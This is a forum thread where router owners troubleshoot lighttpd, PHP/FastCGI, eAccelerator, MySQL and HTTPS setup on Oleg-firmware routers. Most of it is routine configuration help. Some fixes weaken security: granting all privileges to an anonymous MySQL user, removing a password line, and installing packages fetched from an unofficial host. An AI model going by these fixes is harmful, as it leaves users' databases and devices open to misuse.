Thanks for all the help but that didnt work. I suspected that the "rm /opt/etc/lighttpd/conf.d/* " didnt look to good, so i removed lighttpd and then reinstalled without includin rm... in the file, but it still didnt work.

Is there any way of installing older version of lighttpd?

wpte
18-11-2009, 19:31
Thanks for all the help but that didnt work. I suspected that the "rm /opt/etc/lighttpd/conf.d/* " didnt look to good, so i removed lighttpd and then reinstalled without includin rm... in the file, but it still didnt work.

Is there any way of installing older version of lighttpd?

too bad:(

this is what newbiefan said a while back: http://wl500g.info/showpost.php?p=166345&postcount=3
it includes a download link for an older version.
I don't get it tho, I'm running the new version and it seems to work correctly, with exactly the same settings as in this how-to.:confused:

freakazoid87
18-11-2009, 19:46
i can send you .conf and S80lighttpd if you'll like...

only thing that it sais when i start it is:

init.d]$ ./S80lighttpd restart
Starting web server: lighttpd
init.d]$

but the server does not start...

and the opt/etc/lighttpd/conf.d/01-default.conf file is always empty... is that normal?




too bad:(

this is what newbiefan said a while back: http://wl500g.info/showpost.php?p=166345&postcount=3
it includes a download link for an older version.
I don't get it tho, I'm running the new version and it seems to work correctly, with exactly the same settings as in this how-to.:confused:

wpte
18-11-2009, 19:54
only thing that it sais when i start it is:
yes it is normal, but somehow it's a required file...
in older versions it would crash when the file was there already (that's why I did a cleanup).

I'd like to view your config and start file.
don't forget to remove any personal data from them:)

carterb
20-11-2009, 16:10
Hi,

thanks for this great HowTo wpte :)

I got an entry in the error.log file:

(server.c.1105) fdevent_init failed
The server did not start.

To fix this error, I had to edit the following line in lighttpd.conf:

# server.event-handler = "freebsd-kqueue" # needed on OS X

change to

server.event-handler = "poll" # needed on OS X
To help other users, that get this error message, maybe you can take this hint in your How-To.

Again, GREAT WORK!

ps: Is your website hosted on your router?

Regards
Oliver

wpte
20-11-2009, 16:44
I'm glad you like it carterb:)

I'm indeed running the website on my router, not just for extra proof my how-to should work, but I simply don't have any other server at the moment:p

I was thinking of putting that up in the how-to, since the ipkg builders didn't provide any solution yet... I expected they'd fix it:o

freakazoid87
22-11-2009, 09:55
hei man...

found solution (think you should include it in tutorial)

http://www.mattgibson.ca/2009/11/05/fix-dd-wrt-lighttpd-error-server-c-1105-fdevent_init-failed-on-asus-wl-500/

THANKS FOR ALL THE HELP! :D

wpte
22-11-2009, 17:18
hei man...

found solution (think you should include it in tutorial)

http://www.mattgibson.ca/2009/11/05/fix-dd-wrt-lighttpd-error-server-c-1105-fdevent_init-failed-on-asus-wl-500/

THANKS FOR ALL THE HELP! :D

I included that a while ago... I even told you to test if that was the problem:
http://wl500g.info/showpost.php?p=166318&postcount=38
you told me however there was no feedback from lighttpd...

anyway, the same problem with version 1.4.25-1

bef
12-12-2009, 00:24
Hello,

I followed this tutorial without any problems until the installation of buildroot.
when i enter ipkg install devel-buildroot the following error message shows up:


ipkg install optware-devel buildroot
Installing optware-devel (6.8-9) to /opt/...
Downloading http://ipkg.nslu2-linux.org/feeds/optware/oleg/cross/stable/optware-devel_6.8-9_mipsel.ipk
wget: can't load library 'libidn.so.11'
Installing buildroot (4.1.1-13) to /opt/...
Downloading http://ipkg.nslu2-linux.org/feeds/optware/oleg/cross/stable/buildroot_4.1.1-13_mipsel.ipk
wget: can't load library 'libidn.so.11'
Nothing to be done
An error ocurred, return value: 22.
Collected errors:
ipkg_download: ERROR: Command failed with return value 16: `wget -q -P /opt/ipkg-mNvRKO http://ipkg.nslu2-linux.org/feeds/optware/oleg/cross/stable/optware-devel_6.8-9_mipsel.ipk'
Failed to download optware-devel. Perhaps you need to run 'ipkg update'?
ipkg_download: ERROR: Command failed with return value 16: `wget -q -P /opt/ipkg-mNvRKO http://ipkg.nslu2-linux.org/feeds/optware/oleg/cross/stable/buildroot_4.1.1-13_mipsel.ipk'
Failed to download buildroot. Perhaps you need to run 'ipkg update'?


I have installe wget-ssl previously (wget-ssl - 1.12-2)
Now even 'ipkg update' does not work any longer.
Any ideas or suggestions?

Thanks in advance

wpte
12-12-2009, 13:57
something went wrong there...

try to remove all the wgets installed

ipkg remove wget wget-ssl

meanwhile you can download the ipkg package manually on your pc:

wget-ssl http://ipkg.nslu2-linux.org/feeds/optware/oleg/cross/stable/wget-ssl_1.12-2_mipsel.ipk
normal wget: http://ipkg.nslu2-linux.org/feeds/optware/oleg/cross/stable/wget_1.12-2_mipsel.ipk
just use ftp or samba to place it anywhere on your disk

then you can simply install it with

ipkg install /path/to/wget
I can recommend wget-ssl since it's the normal wget + ssl support (https)

I hope that'll fix it:)

gabbano
12-12-2009, 16:56
Nice setup!
Everything words perfectly... almost. I cant get imap_open to work... someone got it work?

wpte
12-12-2009, 18:31
Nice setup!
Everything words perfectly... almost. I cant get imap_open to work... someone got it work?

http://www.php.net/manual/en/imap.requirements.php
it requires an extra plugin for php
you can try to compile it as well with the build utilities you've installed in this how-to
don't forget to set the prefix to opt

./configure --prefix=/opt

bef
12-12-2009, 19:37
manually reinstalling wget-ssl solved the problem, thank you.

Though 2 other questions/problems emerged:

one, in order to work with mysql in the shell i have to type "mysql -u myadminname"; is there a way to change the default admin user?

and second a problem with lighttpd:

when i try to start lighttpd it complains about no configuration available. when i specifie the file with -f
i get the following error:


lighttpd -f /opt/etc/lighttpd/*.conf
Duplicate config variable in conditional 0 global: fastcgi.server
2009-12-12 18:12:47: (configfile.c.907) source: cat /opt/etc/lighttpd/conf.d/*.conf line: 15 pos: 1 parser failed somehow near here: (EOL)
2009-12-12 18:12:47: (configfile.c.907) source: /opt/etc/lighttpd/lighttpd.conf line: 333 pos: 1 parser failed somehow near here: (EOL)


the sections in question look like this:


server.modules = (
# "mod_rewrite",
# "mod_redirect",
# "mod_alias",
"mod_access",
# "mod_cml",
# "mod_trigger_b4_dl",
# "mod_auth",
# "mod_status",
# "mod_setenv",
"mod_fastcgi",
# "mod_proxy",
# "mod_simple_vhost",
# "mod_evhost",
# "mod_userdir",
# "mod_cgi",
# "mod_compress",
# "mod_ssi",
# "mod_usertrack",
# "mod_expire",
# "mod_secdownload",
# "mod_rrdtool",
"mod_accesslog" )



and the end of the file:



# Configuration from other optware packages
include_shell "cat /opt/etc/lighttpd/conf.d/*.conf"

wpte
12-12-2009, 20:09
manually reinstalling wget-ssl solved the problem, thank you.

Though 2 other questions/problems emerged:

one, in order to work with mysql in the shell i have to type "mysql -u myadminname"; is there a way to change the default admin user?

good good:)

when you edit the configuration file of mysql /opt/etc/my.cnf
you can change

# The MySQL server
[mysqld]
user = root
into any user you want, when you do this you must also change the owner of the mysql folder again!

chown -R admin:admin /opt/var/lib/mysql
not sure if that works actually... try it out, otherwise stay with the old configuration;)



when i try to start lighttpd it complains about no configuration available. when i specifie the file with -f
i get the following error:
the contents of the conf.d folder is like:

ls /opt/etc/lighttpd/conf.d/
01-default.conf
the 01-default.conf shouldn't contain any data as far as I know..
if it does you may empty it by doing:

cat /dev/null > /opt/etc/lighttpd/conf.d/01-default.conf

does it still show up errors when starting?

bef
12-12-2009, 20:31
the thing with mysql didn't work, so i did a little work-around using an alias :)

but i had no luck with lighttpd:


ls /opt/etc/lighttpd/conf.d
01-default.conf 10-php-fcgi.conf

the parts from the config i postet belong to the /opt/etc/lighttpd/lighttpd.conf, as i thought this is the file used.

running lighttpd -f /opt/etc/lighttpd/conf.d/01* (or 10*) results in:

lighttpd -f /opt/etc/lighttpd/conf.d/01*
2009-12-12 19:39:14: (configfile.c.1202) a default document-root has to be set
2009-12-12 19:39:14: (server.c.613) setting default values failed

and using the /opt/etc/lighttpd/lighttpd.conf results in the errors posted in the previously

wpte
12-12-2009, 21:14
the thing with mysql didn't work, so i did a little work-around using an alias :)

but i had no luck with lighttpd:


ls /opt/etc/lighttpd/conf.d
01-default.conf 10-php-fcgi.conf

the parts from the config i postet belong to the /opt/etc/lighttpd/lighttpd.conf, as i thought this is the file used.

running lighttpd -f /opt/etc/lighttpd/conf.d/01* (or 10*) results in:

lighttpd -f /opt/etc/lighttpd/conf.d/01*
2009-12-12 19:39:14: (configfile.c.1202) a default document-root has to be set
2009-12-12 19:39:14: (server.c.613) setting default values failed

and using the /opt/etc/lighttpd/lighttpd.conf results in the errors posted in the previously

are you running an old version of lighttpd?
on the old versions you'd have problems with those files in conf.d
since the files in conf.d don't really have much use (configuration of modules) I made them empty or removed them.
either way, perhaps you should try the same:

rm /opt/etc/lighttpd/conf.d/*

you can always re-create with by touch (creates an empty file)

touch /opt/etc/lighttpd/conf.d/01-default.conf

bef
12-12-2009, 22:00
the installed version is 1.4.25-1, therefore there shouldn't be problems with these files (according to what i read on the first pages in this thread)

right now i'm somewhat confused:

-running "lighttpd" does not work

if only 01-default.conf exists in /opt/etc/lighttpd/conf.d/

-running "lighttpd -f /opt/etc/lighttpd/*.conf" does not return anything (i assume it works somehow :P )
and
-running "/opt/etc/init.d/S80lighttpd start" returns "Starting webserver: lighttpd" but no process shows up the process list

When i try to connect to the router through my browser to view the test page (the one created in the second post of this thread to test the server) i get a "failed to connect" error

if i restore 10-php-fcgi.conf to /opt/etc/lighttpd/conf.d/
both "lighttpd -f /opt/etc/lighttpd/*.conf" and "/opt/etc/init.d/S80lighttpd start" cease to work with the previously posted error

wpte
12-12-2009, 22:11
newest version indeed:)

basicly the only config file you need in conf.d is: /opt/etc/lighttpd/conf.d/01-default.conf
and that file should be empty

then you should be able to start the webserver via /opt/etc/init.d/S80lighttpd start

bef
12-12-2009, 23:05
:o As the files in conf.d took all my attention i missed the last piece: http://wl500g.info/showpost.php?p=166318&postcount=38 fixing this and its all up and running

Thank you very much :)

wpte
12-12-2009, 23:37
:o As the files in conf.d took all my attention i missed the last piece: http://wl500g.info/showpost.php?p=166318&postcount=38 fixing this and its all up and running

Thank you very much :)

haha, great
but I did include that in my main how-to
I guess I'll don't do any version control stuff anymore, since the optware guys won't include e-poll anymore:p

I hope you have fun using lighttpd :)

gabbano
13-12-2009, 18:03
http://www.php.net/manual/en/imap.requirements.php
it requires an extra plugin for php
you can try to compile it as well with the build utilities you've installed in this how-to
don't forget to set the prefix to opt

Can you guide me some where to find how to compile the php with the extra plugin? Or is there any pre-compiled binary somewhere?

wpte
13-12-2009, 18:19
Can you guide me some where to find how to compile the php with the extra plugin? Or is there any pre-compiled binary somewhere?

well you have the entire build environment on your router ready so it's going to be easy.

First you need to download the sourcecode from http://php.net/ be sure to download the same version as you have installed
also you need to rebuild the extension after an php update from ipkg repository

anyway the internet is full of how-to's and this one seems to be helpfull:
http://mattiasgeniar.be/2008/09/14/how-to-compile-and-install-php-extensions-from-source/

you can skip #1 here since you have that already
#2 is just for unzipping the source on your router
then the rest is pretty straight forward, just like the stuff we did with eaccelerator:)

gabbano
14-12-2009, 23:00
well you have the entire build environment on your router ready so it's going to be easy.

First you need to download the sourcecode from http://php.net/ be sure to download the same version as you have installed
also you need to rebuild the extension after an php update from ipkg repository

anyway the internet is full of how-to's and this one seems to be helpfull:
http://mattiasgeniar.be/2008/09/14/how-to-compile-and-install-php-extensions-from-source/

you can skip #1 here since you have that already
#2 is just for unzipping the source on your router
then the rest is pretty straight forward, just like the stuff we did with eaccelerator:)


Thanx for the help!
I managed to download the php and imap source and run PHPIZE.

But when i ran ./configure --prefix=/opt --with-imap --with-imap-ssl i got the following error.

configure: error: utf8_mime2text() has new signature, but U8T_CANONICAL is missing. This should not happen. Check config.log for additional information.

Tried to google about it but all post refered to some library called libc-client-devel.
I looked for the library but could not find it for olegs.

wpte
15-12-2009, 00:29
Thanx for the help!
I managed to download the php and imap source and run PHPIZE.

But when i ran ./configure --prefix=/opt --with-imap --with-imap-ssl i got the following error.

configure: error: utf8_mime2text() has new signature, but U8T_CANONICAL is missing. This should not happen. Check config.log for additional information.

Tried to google about it but all post refered to some library called libc-client-devel.
I looked for the library but could not find it for olegs.

that's indeed the main problem for compiling on routers, missing libraries.
somehow this configure wants to get something of an ubuntu distro it seems:confused:
I don't know the answer yet, since I haven't tried to compile it myself

cichy
04-01-2010, 00:38
Hello,
Time to refresh this thread :P I've updated my php and additional components on router. When ipkg asked i've sticked to my settings (php.ini and lighttpd.conf) but after resrtart i'm getting 500-Internal server error. In htop lighttpd isn't running so is fcgi. My question is: what to do? I've already reinstalled lighttpd and it didn't helped at all. Any clues?

newbiefan
04-01-2010, 13:25
Hello,
Time to refresh this thread :P I've updated my php and additional components on router. When ipkg asked i've sticked to my settings (php.ini and lighttpd.conf) but after resrtart i'm getting 500-Internal server error. In htop lighttpd isn't running so is fcgi. My question is: what to do? I've already reinstalled lighttpd and it didn't helped at all. Any clues?


I had similar problems with newer lighttpd (since 1.4.24-1)
You can try to install the last working lighttpd from here:


ipkg remove lighttpd
cd /opt/tmp/ipkg
mkdir -p /opt/etc/lighttpd
wget http://autoinstall.lima-city.de/lighttpd_1.4.22-1_mipsel.ipk
ipkg install lighttpd_1.4.22-1_mipsel.ipk
wget http://autoinstall.lima-city.de/libuclibc++_0.2.2-8_mipsel.ipk
ipkg install libuclibc++_0.2.2-8_mipsel.ipk
wget http://autoinstall.lima-city.de/lighttpd.conf -O /opt/etc/lighttpd/lighttpd.conf


Consider, that lighttpd.conf needs some changes before starting, because lighttpd is set in this config to port 80.

For me it works.
have fun

wpte
04-01-2010, 15:00
Hello,
Time to refresh this thread :P I've updated my php and additional components on router. When ipkg asked i've sticked to my settings (php.ini and lighttpd.conf) but after resrtart i'm getting 500-Internal server error. In htop lighttpd isn't running so is fcgi. My question is: what to do? I've already reinstalled lighttpd and it didn't helped at all. Any clues?

right, you got this config update: http://wl500g.info/showpost.php?p=166318&postcount=38

then also be sure to recompile eaccelerator when php updates to a newer version, during the installation php will tell you this usually.

downgrading is not needed, I still got it working with the newest version newbiefan, you just need to activate polling instead of e-poll.;)

newbiefan
04-01-2010, 16:14
then also be sure to recompile eaccelerator when php updates to a newer version, during the installation php will tell you this usually.

downgrading is not needed, I still got it working with the newest version newbiefan, you just need to activate polling instead of e-poll.;)

Thanks wpte, will check it next time...

cichy
13-01-2010, 13:10
Ok, so reinstalling lighhtpd wasn't good idea, so was installing eaccelerator from ipkg packages. But after compiling eaccelerator from sources it all went smooth, lighttpd works like a charm :)

modelamark
18-01-2010, 13:47
Did anyone get things working with mysql 5 ? There is a package in the repository, but it does not want to start after install. phpmyadmin does not install after installing mysql5.
Does it still require recompling?

wpte
18-01-2010, 21:39
Did anyone get things working with mysql 5 ? There is a package in the repository, but it does not want to start after install. phpmyadmin does not install after installing mysql5.
Does it still require recompling?

I don't think mysql 5 is ever going to work on these routers actually, probably because it's software design is a bit different compared to mysql4.
Also mysql5 requires more resources, and that while mysql4 only pulls of about 100kb/s max;)

in the end mysql 4 can do the same things mysql 5 can, apart from some really specialized stuff hardly used in regular webpackages :)

recompiling won't work either because the compiler on the router has problems with c++.
You might be able to pull it off with the crosscompiler after a bit of work :)

modelamark
18-01-2010, 22:10
I don't think mysql 5 is ever going to work on these routers actually, probably because it's software design is a bit different compared to mysql4.

Thanks, all I needed to know. I wanted to run joomla on it, which went fine with mysql4, until some extension required mysql5. I will try to find a sql4 alternative for that.

BrandonSk
01-08-2010, 18:52
Hello,

I followed the tutorial. No errors shown during the process.
However, when I try to start lighttpd it gives this error:

Starting web server: lighttpd
2010-08-01 18:29:11: (network.c.589) SSL: Private key does not match the certificate public key, reason: error:02001002:system library:fopen:No such file or directory /opt/etc/lighttpd/lighttpd.pem

Of course, I checked for the file existence and it is not there. But should it? Why is there SSL certificate check?

Anyhow, I spent last couple of hours searchingg for a solution, but did not find any. (I am not linux guru, so I might be missing something).

Only change to the original tutorial is that I have my www root in /tmp/harddisk/www and I have changed the path in one of the tutorial commands accordingly.

Any ideas?
Thanks.
Brano.

BrandonSk
01-08-2010, 20:09
Hello,

I followed the tutorial. No errors shown during the process.
However, when I try to start lighttpd it gives this error:

Starting web server: lighttpd
2010-08-01 18:29:11: (network.c.589) SSL: Private key does not match the certificate public key, reason: error:02001002:system library:fopen:No such file or directory /opt/etc/lighttpd/lighttpd.pem
...
Brano.

Hi all,

well, I did start the server after all :) but I am not sure whether I did the right thing.

I went to the config file and commentted out everything around the SSL server thing (at the end of config) - this was the part referencing the PEM file.

Now, server starts and works. But was this the right thing to do? Am I missing something because of that? I suppose https :)

Cheers,
Brano.

wpte
01-08-2010, 20:34
Now, server starts and works. But was this the right thing to do? Am I missing something because of that? I suppose https :)

Cheers,
Brano.

SSL isn't configured in the config file, for that you need to do some things yourself:)

You can make a self signed pem file yourself like this:

openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
you need openssl installed for that

now for the lighttpd config file (just add it somewhere):

$SERVER["socket"] == ":443" {
#### SSL engine
ssl.engine = "enable"
ssl.pemfile = "/opt/etc/lighttpd/server.pem"
server.document-root = "/harddisk/mnt/www"
}
This creates a separate socket with ssl
this way your site works via http and https

try it out on my site, I've been running that for a month or so: https://wpte.kicks-ass.net/

Now obviously browsers say its unsafe since it's not signed by a known company.
You can still import it for general accepted certificates tho, but for windows you need something like a .der file
this is how you convert the pem file to a der file:

openssl x509 -in server.pem -inform PEM -out server.der -outform DER


I'm going to update this how-to soon btw, since I found out I have 3 major errors in it :)

badyto
07-09-2010, 20:05
Hi!
I just installed everything according to the 1.st post.
I got 3 problems, 2 of them are solved in this forum, they were:
1.) When using the ipkg eaccelerator, server gives internal error 500 when the extension of a file is *.php, but it works well with *.html.
solution: do the manual install.
2.) couldn't connect to the mysql, something about authorization error
solution: delete or comment the 20.th line of my.cnf that says password

And finaly the one i cannot find anywhere.
3.) I dumped a database from my wamp installation.
mysqldump kruh > kruh.sql;
i moved this file to my router, executed it with
source kruh.sql;
everything works fine, i am able to run selects, for instance select(*) from users; gives me 4.
But i cannot get this to work in php.
My code:


$db_host = 'localhost';
$db_user = 'bady';
$db_pass = '';
$db_data = 'kruh';
// ---------------------------------------------------
$link=mysql_connect($db_host,$db_user,$db_pass);
if(!$link) die("unable to connect: ".mysql_error());
mysql_select_db($db_data,$link);
$x=mysql_result(mysql_query("select count(*) from users",$link),0);
echo $x;

This returns nothing :(
If i change the select to "select NOW() from dual" it works fine, so im connected to DB. What am i doing wrong?

EDIT: this solved the problem:
typed this in mysql console: grant all privileges on *.* to ''@'localhost';

cichy
08-09-2010, 22:12
Hi,

I've created .pem and .der files with openssl after which I've added lines proposed by Wpte to lighttpd.conf file. Restart of lighttpd and no monit about certificate under https:// address. Should I have 443 port forwarded or what?

wpte
09-09-2010, 14:56
Hi,

I've created .pem and .der files with openssl after which I've added lines proposed by Wpte to lighttpd.conf file. Restart of lighttpd and no monit about certificate under https:// address. Should I have 443 port forwarded or what?

What exactly happens?
you can see your webpages in https?
or isn't it encrypted at all?


@badyto
I know there are serious problems with the how-to at the moment due to updated ipkg packages.
Unfortunately I haven't found the time to fully test my findings.
The updated how-to will be shorter and easier to understand

cichy
09-09-2010, 15:55
Basically when i try to connect thru https:// i don't get a reply, no 501 or 404 error just time out in FireFox and IE 8. I've tried to add this

$HTTP["scheme"] == "https" {
server.document-root = "/www/servers/www.example.org/secure/"
}
but it didn't helped at all. Thru http:// I can use my site but not thru https://

wpte
09-09-2010, 18:05
Basically when i try to connect thru https:// i don't get a reply, no 501 or 404 error just time out in FireFox and IE 8. I've tried to add this

$HTTP["scheme"] == "https" {
server.document-root = "/www/servers/www.example.org/secure/"
}
but it didn't helped at all. Thru http:// I can use my site but not thru https://

You mentioned port forwarding as well?
if you're in the local network of your router no port-forwarding is needed

but for external access you can add a basic iptables rule like this to your firewall:

iptables -A INPUT -p tcp --dport 443 -j ACCEPT

in the end, the config settings I wrote in my previous post should be all to make https work.
I've double checked it in my config

cichy
09-09-2010, 18:28
Added iptables rule and didn't helped still can't use SSL connections. Maybe something is wrong with my .conf file, could you look into it?

Edit: This is new when I've entered local IP - https://192.168.1.1 a certificate notification appeared so it works, but why not on my external IP?

wpte
09-09-2010, 19:12
Added iptables rule and didn't helped still can't use SSL connections. Maybe something is wrong with my .conf file, could you look into it?

Edit: This is new when I've entered local IP - https://192.168.1.1 a certificate notification appeared so it works, but why not on my external IP?

Good to know it works locally:)

Just as the "server.port = 8081" the ssl socket should bind to every network interface.
if it's not the modem that requires an extra firewall setting you might try these config changes:


$SERVER["socket"] == "0.0.0.0:443"{
...


$SERVER["socket"] == "127.0.0.1:443"{
...

not sure if they work, but it's worth trying


I do think it's something with the firewall tho, since:

x.x.x.x isn't responding on port 443 (https).
(as moderator I can see your ip, no worries;))

cichy
09-09-2010, 19:46
This didn't helped either, still no ssl connections but on local IP it works (sic!). Also I've tried some of this tutorial on port changing.

nvram set http_lanport=8080
nvram commit did that, restarted router and sure web-gui works fine but no website on my router (port changed from 8081 to 80 like in tut). Also I removed 1 rule from iptables which I thought is not usefull any more, this was:

iptables -t nat -A VSERVER -p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.1.1:8081 # przekierowanie www Any ideas what's wrong, lighty is working according to htop.

Edit: Https:// connection with address https://ex.ip:8081 works but why not with https://ex.ip ?

wpte
09-09-2010, 21:09
Edit: Https:// connection with address https://ex.ip:8081 works but why not with https://ex.ip ?

I know that lighttpd is a bit strict when it comes to ports...
have you tried to set the standard port to 80 + my config code?
if that works, it might be a lighttpd bug, or setting I'm not aware of:confused:


https://ex.ip:8081 doesn't work for me here

cichy
09-09-2010, 21:32
Ok so I've reinstalled lighttpd (was not worki with/without ssl) now http connections work like they should. Setting lan_httport to 8080 did the trick but i had to manually forward all incoming http request to 192.168.1.1:80 to make it work after changing server.port to 80. Still no connection thru ssl.

On internal ip (192.168.1.1) https works like a charm.

wpte
09-09-2010, 23:20
Ok so I've reinstalled lighttpd (was not worki with/without ssl) now http connections work like they should. Setting lan_httport to 8080 did the trick but i had to manually forward all incoming http request to 192.168.1.1:80 to make it work after changing server.port to 80. Still no connection thru ssl.

On internal ip (192.168.1.1) https works like a charm.

Right... so how do you have the regular iptables for forwarding the webserver?


iptables -t nat -A VSERVER -p tcp -m tcp --dport 8081 -j DNAT --to-destination 192.168.1.1:8081

?

Are you sure your modem is set up for forwarding https?

cichy
09-09-2010, 23:33
I've attached my post-firewall file, also in error log i found

2010-09-09 21:39:26: (connections.c.299) SSL: 1 error:1407609C:SSL routines:SSL23_GET_CLIENT_HELLO:http request
2010-09-09 21:40:12: (connections.c.299) SSL: 1 error:1407609C:SSL routines:SSL23_GET_CLIENT_HELLO:http request
2010-09-09 21:42:24: (connections.c.299) SSL: 1 error:1407609C:SSL routines:SSL23_GET_CLIENT_HELLO:http request
2010-09-09 21:42:27: (connections.c.299) SSL: 1 error:1407609C:SSL routines:SSL23_GET_CLIENT_HELLO:http request i think this is the problem.

wpte
10-09-2010, 00:47
I've attached my post-firewall file, also in error log i found

2010-09-09 21:39:26: (connections.c.299) SSL: 1 error:1407609C:SSL routines:SSL23_GET_CLIENT_HELLO:http request
2010-09-09 21:40:12: (connections.c.299) SSL: 1 error:1407609C:SSL routines:SSL23_GET_CLIENT_HELLO:http request
2010-09-09 21:42:24: (connections.c.299) SSL: 1 error:1407609C:SSL routines:SSL23_GET_CLIENT_HELLO:http request
2010-09-09 21:42:27: (connections.c.299) SSL: 1 error:1407609C:SSL routines:SSL23_GET_CLIENT_HELLO:http request i think this is the problem.

that indeed is a problem...
I'm not sure if I'm getting this, but lighttpd says it fails to do https because the browser makes a http request?:confused:

The weird thing is, everything is set up according to the lighty wiki: http://redmine.lighttpd.net/projects/lighttpd/wiki/Docs:SSL

is your lighttpd package up to date?
my lighttpd -V output:

lighttpd -V
lighttpd/1.4.28 (ssl) - a light and fast webserver
Build-Date: Aug 22 2010 18:32:55

Event Handlers:

+ select (generic)
+ poll (Unix)
- rt-signals (Linux 2.4+)
+ epoll (Linux 2.6)
- /dev/poll (Solaris)
- kqueue (FreeBSD)
- libev (generic)

Network handler:

+ writev
+ mmap support

Features:

+ IPv6 support
+ zlib support
+ bzip2 support
+ crypt support
+ SSL Support
+ PCRE support
+ mySQL support
+ LDAP support
+ memcached support
- FAM support
+ LUA support
+ xml support
+ SQLite support
- GDBM support

default ipkg updating and upgrading if you're not aware of it:

ipkg update
ipkg upgrade

wpte
10-09-2010, 14:34
Hi!
I just installed everything according to the 1.st post.

Hello Badyto, I updated the how-to
I tested it on my own spare router, and it should work without any problems:)

cichy
10-09-2010, 15:47
And this is mine lighttpd -V result:

lighttpd/1.4.28 (ssl) - a light and fast webserver
Build-Date: Aug 22 2010 18:32:55

Event Handlers:

+ select (generic)
+ poll (Unix)
- rt-signals (Linux 2.4+)
+ epoll (Linux 2.6)
- /dev/poll (Solaris)
- kqueue (FreeBSD)
- libev (generic)

Network handler:

+ writev
+ mmap support

Features:

+ IPv6 support
+ zlib support
+ bzip2 support
+ crypt support
+ SSL Support
+ PCRE support
+ mySQL support
+ LDAP support
+ memcached support
- FAM support
+ LUA support
+ xml support
+ SQLite support
- GDBM support

As You can see they are identical. Everything is up2date so no mistakes because of wrong software. I've also studied the site You gave here (http://redmine.lighttpd.net/projects/lighttpd/wiki/Docs:SSL) and without a doubt it should work but it ain't.

cichy
30-12-2010, 00:24
Need some help.

I've updated PHP to latest version and recompiled eAccelerator from scratch but this didn't helped at all, fcgi process dies in a second after lighttpd restart.


2010-12-29 21:33:01: (log.c.166) server started
2010-12-29 21:33:09: (mod_fastcgi.c.2568) unexpected end-of-file (perhaps the fastcgi process died): pid: 3751 socket: unix:/tmp/php-fcgi.sock-3
2010-12-29 21:33:09: (mod_fastcgi.c.3309) child exited, pid: 3751 status: 254
2010-12-29 21:33:09: (mod_fastcgi.c.3356) response not received, request sent: 818 on socket: unix:/tmp/php-fcgi.sock-3 for /index.php?, closing connection
2010-12-29 21:33:11: (mod_fastcgi.c.2568) unexpected end-of-file (perhaps the fastcgi process died): pid: 3752 socket: unix:/tmp/php-fcgi.sock-3
2010-12-29 21:33:11: (mod_fastcgi.c.3356) response not received, request sent: 818 on socket: unix:/tmp/php-fcgi.sock-3 for /index.php?, closing connection
2010-12-29 22:45:25: (mod_fastcgi.c.1734) connect failed: Connection refused on unix:/tmp/php-fcgi.sock-3
2010-12-29 22:45:25: (mod_fastcgi.c.3027) backend died; we'll disable it for 1 seconds and send the request to another backend instead: reconnects: 0 load: 1
2010-12-29 22:45:28: (mod_fastcgi.c.2568) unexpected end-of-file (perhaps the fastcgi process died): pid: 3756 socket: unix:/tmp/php-fcgi.sock-3
2010-12-29 22:45:28: (mod_fastcgi.c.3356) response not received, request sent: 818 on socket: unix:/tmp/php-fcgi.sock-3 for /index.php?, closing connection
2010-12-29 23:02:51: (server.c.1512) server stopped by UID = 0 PID = 3767
2010-12-29 23:02:53: (log.c.166) server started
2010-12-29 23:21:41: (server.c.1512) server stopped by UID = 0 PID = 3798
2010-12-29 23:22:44: (log.c.166) server started
2010-12-29 23:23:08: (mod_fastcgi.c.1734) connect failed: Connection refused on unix:/tmp/php-fcgi.sock3808-7
2010-12-29 23:23:08: (mod_fastcgi.c.3027) backend died; we'll disable it for 1 seconds and send the request to another backend instead: reconnects: 0 load: 1
2010-12-29 23:23:13: (mod_fastcgi.c.2568) unexpected end-of-file (perhaps the fastcgi process died): pid: 3820 socket: unix:/tmp/php-fcgi.sock3808-7
2010-12-29 23:23:13: (mod_fastcgi.c.3309) child exited, pid: 3820 status: 254
2010-12-29 23:23:13: (mod_fastcgi.c.3356) response not received, request sent: 818 on socket: unix:/tmp/php-fcgi.sock3808-7 for /index.php?, closing connection Maybe some clues what to do?

wpte
30-12-2010, 00:59
Need some help.

I've updated PHP to latest version and recompiled eAccelerator from scratch but this didn't helped at all, fcgi process dies in a second after lighttpd restart.

Maybe some clues what to do?

download some fresh sources if you haven't already.
Also, try to delete the old eaccelerator first before you make install:

rm /opt/lib/php/extensions/eaccelerator.so

not sure, but over time ipkg packages changed quite a bit
In fact, they solved a lot of workarounds I wrote here in the how-to
so, I had to remove the workarounds again:p
if all else fails, you might want to try the ipkg version of eaccelerator

cichy
30-12-2010, 01:05
I've tried the ipkg source version first but no effect still errors and php dies after a sec. Now I'm recompiling eaccelerator from scratch from latest svn build, maybe this will help. Also, strange thing, when i've disabled eaccelerator in eaccelerator.ini and disabled mod_fcgi in lighttpd.conf I can't launch any file from server i.e *.html file, I'm getting 403 - access denied.

wpte
30-12-2010, 01:08
I've tried the ipkg source version first but no effect still errors and php dies after a sec. Now I'm recompiling eaccelerator from scratch from latest svn build, maybe this will help. Also, strange thing, when i've disabled eaccelerator in eaccelerator.ini and disabled mod_fcgi in lighttpd.conf I can't launch any file from server i.e *.html file, I'm getting 403 - access denied.

huh thats weird:confused:
have you checked the extra config files in /opt/etc/lighttpd/conf.d ?

cichy
30-12-2010, 01:12
Yep there're 2 files 1st default (empty) and 2nd fcgi with part from lighttpd.conf of mod_fcgi. Something like that:


fastcgi.server = ( ".php" =>
( "localhost" =>
(
"socket" => "/tmp/php-fcgi.sock",
"bin-path" => "/opt/bin/php-fcgi",
"max-procs" => 1,
"bin-environment" => (
"PHP_FCGI_CHILDREN" => "3",
"PHP_FCGI_MAX_REQUESTS" => "4000"
)
)
)
)
After deleting eaccelerator.so i could query php -i, and now it worked bot warned me about missing module of eaccelerator, maybe this recompiling helps :)

wpte
30-12-2010, 01:19
Yep there're 2 files 1st default (empty) and 2nd fcgi with part from lighttpd.conf of mod_fcgi. Something like that:

After deleting eaccelerator.so i could query php -i, and now it worked bot warned me about missing module of eaccelerator, maybe this recompiling helps :)

sounds promising:)

that fcgi file already configures your php, so you shouldn't reactivate it in the main config file (like in the old how to)

cichy
30-12-2010, 01:25
Did something like this

# Configuration from other optware packages
#include_shell "cat /opt/etc/lighttpd/conf.d/*.conf"
So it uses part from .conf file without external modules/files. Now waiting to configure it once again because of missing module :( Hope this will help :)

cichy
30-12-2010, 02:54
And recompiling didn't helped at all, still no fcgi engine running and got this error:

